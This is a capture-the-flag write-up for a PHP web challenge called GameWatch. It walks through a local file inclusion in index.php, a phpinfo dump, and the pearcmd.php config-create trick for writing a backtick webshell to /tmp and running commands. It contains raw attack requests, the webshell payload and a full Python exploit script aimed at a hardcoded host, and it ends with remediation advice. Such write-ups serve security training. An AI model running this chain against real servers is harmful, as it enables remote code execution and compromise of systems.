GameWatch
Challenge: GameWatch
Category: Web
Difficulty: Medium
Points: 100
Flag: VBD{p3arcmd_1s_st1ll_us3ful_t0_rce_976bd92e7b486eec224fedc39d8b797e}
1. Challenge Description
GameWatch helps you explore game release dates, ratings, and detailed information all in one place.
We are given a URL pointing to a PHP web application that displays a catalog of video games with metadata (release dates, Metacritic scores, genres, etc.).
2. Reconnaissance
2.1 Technology Stack
| Component | Value |
|---|---|
| Web Server | Apache 2.4.54 (Debian) |
| PHP Version | 7.4.33 |
| Database | MySQL (game data storage) |
| Container | Docker |
| Document Root | /var/www/html |
2.2 Endpoint Fingerprinting
/ → 29465 bytes (main game listing)/index.php → 29465 bytes (same)/search.php?q= → 128791 bytes (full game list in search)/game.php?id=gta5 → 10231 bytes (single game detail)/config/games.php → 0 bytes (exists, returns empty)/info.php → 72467 bytes (full phpinfo page)2.3 Application Features
- Game catalog with 82 games across genres (Action, RPG, Shooter, etc.)
- Search via
search.php?q=— case-insensitive keyword search - Filter via
index.php?filter=— genre-based filtering - Pagination via
index.php?p=— 7 pages of games - Game detail via
game.php?id=<slug>— individual game pages
3. Vulnerability Discovery: Local File Inclusion (LFI)
3.1 Identifying the LFI
The index.php page accepts a page GET parameter. Through error-based analysis, we determined the include pattern:
// Line 44 of /var/www/html/index.phpinclude('./pages/' . $_GET['page'] . '.php');When an invalid page is supplied, a PHP warning is emitted:
Warning: include(./pages/INVALID.php): failed to open streamThis confirms path traversal is possible via ../ sequences, but .php is always appended.
3.2 LFI Probing Results
Using directory traversal, we mapped accessible PHP files:
| Payload | Result | Size |
|---|---|---|
../info | phpinfo() output | 100,708 B |
../game | game.php (no id → empty) | 3,479 B |
../search | search.php (no q → full) | 153,857 B |
../index | Fatal: infinite recursion | 4,736,770 B |
../config/games | Fatal: function redeclare | 2,876 B |
3.3 Key phpinfo Findings
From the phpinfo dump, we extracted critical configuration:
register_argc_argv = On ↠KEY for pearcmd.php exploitationallow_url_include = Offallow_url_fopen = Oninclude_path = .:/app/gamewatch:/usr/local/lib/phpdisable_functions = (none critical)DOCUMENT_ROOT = /var/www/htmlregister_argc_argv = On is the crucial setting — it allows pearcmd.php to receive arguments from the query string.
4. Exploitation: pearcmd.php LFI → RCE
4.1 Attack Overview
The pearcmd.php file is part of the PEAR (PHP Extension and Application Repository) package manager, installed by default with PHP. When included via LFI with register_argc_argv = On, pearcmd reads commands from $_SERVER['argv'], which in Apache is populated from the query string.
The config-create command writes a PHP config file to an arbitrary path with user-controlled content — allowing PHP code injection.
4.2 Confirming pearcmd.php Accessibility
GET /index.php?page=../../../../usr/local/lib/php/pearcmd HTTP/1.1Result: 2,692 bytes response with no include warning → pearcmd.php is includable!
4.3 Exploitation Chain
Step 1: Write a webshell via pearcmd’s config-create command
The trick is to use raw HTTP (no URL encoding) to preserve <?php ?> tags in the payload. Using a raw socket ensures the <, >, ?, = characters are not percent-encoded:
GET /index.php?page=../../../../usr/local/lib/php/pearcmd&+config-create+/<?=`$_GET[1]`?>+/tmp/shell.php HTTP/1.1Host: TARGET:PORTConnection: closeThe + characters serve as argument separators for pearcmd’s ARGV parsing. This instructs pearcmd to:
- Execute the
config-createcommand - Use
<?=$_GET[1]?>as the config template content - Write the output to
/tmp/shell.php
Note: The backtick webshell (
<?=_GET[1]);?>` returned 400 Bad Request.
Step 2: Include the webshell via LFI and execute commands
GET /index.php?page=../../../../tmp/shell&1=cat+/flag* HTTP/1.1This includes /tmp/shell.php via the LFI, and the backtick expression executes cat /flag*, returning:
VBD{p3arcmd_1s_st1ll_us3ful_t0_rce_976bd92e7b486eec224fedc39d8b797e}5. Root Cause Analysis
| Factor | Impact |
|---|---|
Unsanitized page parameter | Enables path traversal via ../ |
.php auto-appended to include | Limits targets to PHP files only |
register_argc_argv = On | Allows pearcmd to receive query string args |
| PEAR installed by default | Provides pearcmd.php as gadget |
/tmp is writable | Allows shell file creation |
| No WAF or input filtering | Backtick payload passes through |
Summary: LFI in index.php?page= + register_argc_argv=On + PEAR installed = classic pearcmd.php config-create to RCE chain.
6. PoC Exploit Script
6.1 Usage
python pearcmd_raw_exploit.py6.2 Full Exploit Code
#!/usr/bin/env python3"""Exploit GameWatch via pearcmd.php LFI to RCE."""
import socketimport reimport sysimport randomimport stringimport requestsimport time
BASE = "http://82.29.170.47:33507"HOST = "82.29.170.47"PORT = 33507
PEAR_INCLUDE = "../../../../usr/local/lib/php/pearcmd"
rand = ''.join(random.choices(string.ascii_lowercase, k=5))
def raw_http_get(path): """Send a raw HTTP GET request without any URL encoding.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) sock.connect((HOST, PORT))
request = ( f"GET {path} HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Connection: close\r\n" f"User-Agent: Mozilla/5.0\r\n" f"\r\n" ) sock.sendall(request.encode())
response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break
sock.close()
parts = response.split(b"\r\n\r\n", 1) headers = parts[0].decode('utf-8', errors='ignore') body = parts[1].decode('utf-8', errors='ignore') if len(parts) > 1 else "" return headers, body
def lfi_include(page, extra_params=""): """Include a file via LFI.""" url = f"{BASE}/index.php?page={page}" if extra_params: url += f"&{extra_params}" r = requests.get(url, timeout=15) return r.text
# === Step 1: Create webshell via pearcmd config-create ===shell_path = f"/tmp/sh_{rand}"# Backtick shell - short enough to bypass input validationpayload = "<?=`$_GET[1]`?>"
print(f"[*] Target: {BASE}")print(f"[*] Creating shell at {shell_path}.php")
# Raw HTTP to preserve <, >, ? characters unencoded# Format: ?page=PEAR_PATH&+config-create+/PAYLOAD+/OUTPUT.phppath = ( f"/index.php?page={PEAR_INCLUDE}" f"&+config-create+/{payload}+{shell_path}.php")
headers, body = raw_http_get(path)print(f"[*] config-create response: {len(body)} bytes")
# === Step 2: Include shell via LFI and read flag ===time.sleep(0.5)lfi_path = f"../../../../{shell_path.lstrip('/')}"
for cmd in ["cat /flag*", "cat /flag.txt", "cat /flag", "id"]: r = requests.get( f"{BASE}/index.php", params={"page": lfi_path, "1": cmd}, timeout=15 )
flag_match = re.search(r'VBD\{[^}]+\}', r.text) if flag_match: print(f"\n[+] FLAG: {flag_match.group(0)}") sys.exit(0)
if "uid=" in r.text or "root:" in r.text: # Extract command output from HTML clean = re.sub(r'<[^>]+>', '\n', r.text) for line in clean.split('\n'): line = line.strip() if line and "gamewatch" not in line.lower(): print(f" > {line[:200]}")
print("[-] Flag not found - try manually")6.3 Recon Script (rapid_recon_gamewatch.py)
This script was used to discover that pearcmd.php was includable and register_argc_argv was On:
#!/usr/bin/env python3"""Rapid recon - key discovery: pearcmd.php includable + register_argc_argv=On."""
import requestsimport reimport urllib.parse
BASE = "http://TARGET:PORT"s = requests.Session()
def lfi(page): url = f"{BASE}/index.php?page={urllib.parse.quote(page, safe='')}" return s.get(url, timeout=15)
# Check pearcmd.php accessibilitypear_paths = [ "../../../../usr/local/lib/php/pearcmd", "../../../usr/local/lib/php/pearcmd", "../../../../usr/share/php/pearcmd",]
for path in pear_paths: r = lfi(path) has_warning = bool(re.search(r'include\(\./pages/', r.text)) if not has_warning: print(f"[+] pearcmd accessible via: page={path} ({len(r.text)} bytes)")
# Check register_argc_argv from phpinfor = lfi("../info")if "register_argc_argv" in r.text: m = re.search(r'register_argc_argv.*?<td[^>]*>(On|Off)</td>', r.text, re.DOTALL) if m: print(f"[+] register_argc_argv = {m.group(1)}")7. Attack Timeline
- LFI discovered via
index.php?page=parameter →include('./pages/<page>.php') - phpinfo dumped via
page=../info→ confirmedregister_argc_argv = On, include_path includes/usr/local/lib/php - Extensive probing — 49+ scripts tested: SQLi on search/filter/game.php, XSS, CRLF injection, path traversal encoding, type juggling, PHP wrappers, backup files, git exposure, etc.
- pearcmd.php identified as includable at
../../../../usr/local/lib/php/pearcmd - Raw HTTP exploit — backtick webshell written to
/tmp/viaconfig-create - Flag extracted via LFI include of webshell + command execution
8. Remediation
- Whitelist page parameter — only allow known page names (
home,game,search) - Remove unused PEAR —
apt remove php-pearor deletepearcmd.php - Set
register_argc_argv = Offinphp.ini - Use
open_basedirto restrict file access to the web root - Set
disable_functionsto prevent command execution (system,exec,shell_exec,passthru,popen,proc_open)